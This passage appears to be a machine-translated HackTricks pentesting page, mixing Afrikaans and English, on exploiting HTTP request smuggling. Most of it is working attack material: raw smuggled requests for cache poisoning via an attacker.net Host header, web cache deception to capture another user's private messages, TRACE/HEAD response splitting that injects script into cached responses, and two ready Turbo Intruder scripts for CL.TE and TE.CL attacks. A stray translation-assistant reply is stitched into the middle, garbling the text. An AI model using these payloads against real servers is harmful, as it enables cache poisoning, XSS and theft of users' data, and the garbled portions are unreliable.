Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Let op die ingeslote versoek wat gemik is op /post/next?postId=3. Hierdie versoek sal herlei word na /post?postId=4, deur die Host header value te gebruik om die domein te bepaal. Deur die Host header te verander, kan die aanvaller die versoek na hul domein herlei (on-site redirect to open redirect).

Na 'n suksesvolle socket poisoning moet 'n GET request vir /static/include.js gestuur word. Hierdie versoek sal gekontamineer word deur die vorige on-site redirect to open redirect versoek en sal die inhoud van die deur die aanvaller beheerde skrip laai.

Daarna sal enige versoek vir /static/include.js die gecachte inhoud van die aanvaller se skrip bedien, wat effektief 'n wye XSS attack ontketen.

Gebruik HTTP request smuggling om web cache deception uit te voer

Wat is die verskil tussen web cache poisoning en web cache deception?

  • In web cache poisoning, die aanvaller veroorsaak dat die toepassing sekere kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander toepassingsgebruikers bedien.
  • In web cache deception, die aanvaller veroorsaak dat die toepassing sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.

Die aanvaller vervaardig 'n smuggled request wat sensitiewe gebruikerspesifieke inhoud ophaal. Oorweeg die volgende voorbeeld:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

As hierdie gesmokkelde versoek 'n cache entry vergiftig wat bedoel is vir static content (bv., /someimage.png), kan die slagoffer se sensitiewe data van /private/messages onder die static content se cache entry in die cache gestoor word. Gevolglik kan die aanvaller moontlik hierdie data uit die cache terugkry.

Misbruik van TRACE via HTTP Request Smuggling

In this post word voorgestel dat as die bediener die method TRACE geaktiveer het, dit moontlik is om dit met 'n HTTP Request Smuggling te misbruik. Dit is omdat hierdie method enige header wat na die bediener gestuur word as deel van die body van die response sal reflekteer. Byvoorbeeld:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Please paste the README.md content you want translated. I will translate the English text to Afrikaans and preserve all markdown/html, code, tags, links, and paths exactly as you specified (won't translate code, technique names, cloud/SaaS names, the word "leak", pentesting, links/paths, or tags).

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

An example on how to abuse this behaviour would be to smuggle first a HEAD request. Hierdie request sal slegs met die headers van 'n GET request beantwoord word (Content-Type onder hulle). En smuggle immediately after the HEAD a TRACE request, wat die gestuurde data sal weerspieël.
Aangesien die HEAD-response 'n Content-Length header sal bevat, sal die response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data in die response.
Hierdie response sal na die volgende request oor die verbinding gestuur word, dus kan dit byvoorbeeld gebruik word in 'n gecachede JS-lêer om arbitrêre JS-kode in te spuit.

Abusing TRACE via HTTP Response Splitting

Continue following this post is suggested another way to abuse the TRACE method. Soos kommentaar aandui, deur 'n HEAD-request en 'n TRACE-request te smuggle, is dit moontlik om sekere weerspieëlde data in die response op die HEAD-request te beheer. Die lengte van die body van die HEAD-request word basies aangedui in die Content-Length header en word gevorm deur die response op die TRACE-request.

Daarom is die nuwe idee dat, wanneer jy hierdie Content-Length en die data in die TRACE-response ken, dit moontlik is om die TRACE-response 'n geldige HTTP-response ná die laaste byte van die Content-Length te laat bevat, waardeur 'n aanvaller die versoek na die volgende response volledig kan beheer (wat gebruik kan word om cache poisoning uit te voer).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Sal hierdie responses genereer (let hoe die HEAD response 'n Content-Length het wat die TRACE response deel van die HEAD-body maak en sodra die HEAD Content-Length eindig, 'n geldige HTTP response gesmuggel word):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Wapenmaak van HTTP Request Smuggling met HTTP Response Desynchronisation

Het jy 'n HTTP Request Smuggling kwesbaarheid gevind en weet jy nie hoe om dit te benut nie? Probeer hierdie ander metodes van uitbuiting:

{{#ref}} ../http-response-smuggling-desync.md {{#endref}}

Ander HTTP Request Smuggling Techniques

  • Browser HTTP Request Smuggling (Client Side)

{{#ref}} browser-http-request-smuggling.md {{#endref}}

  • Request Smuggling in HTTP/2 Downgrades

{{#ref}} request-smuggling-in-http-2-downgrades.md {{#endref}}

Turbo intruder scripts

CL.TE

Van https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Van: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Gereedskap

Verwysings

{{#include ../../banners/hacktricks-training.md}}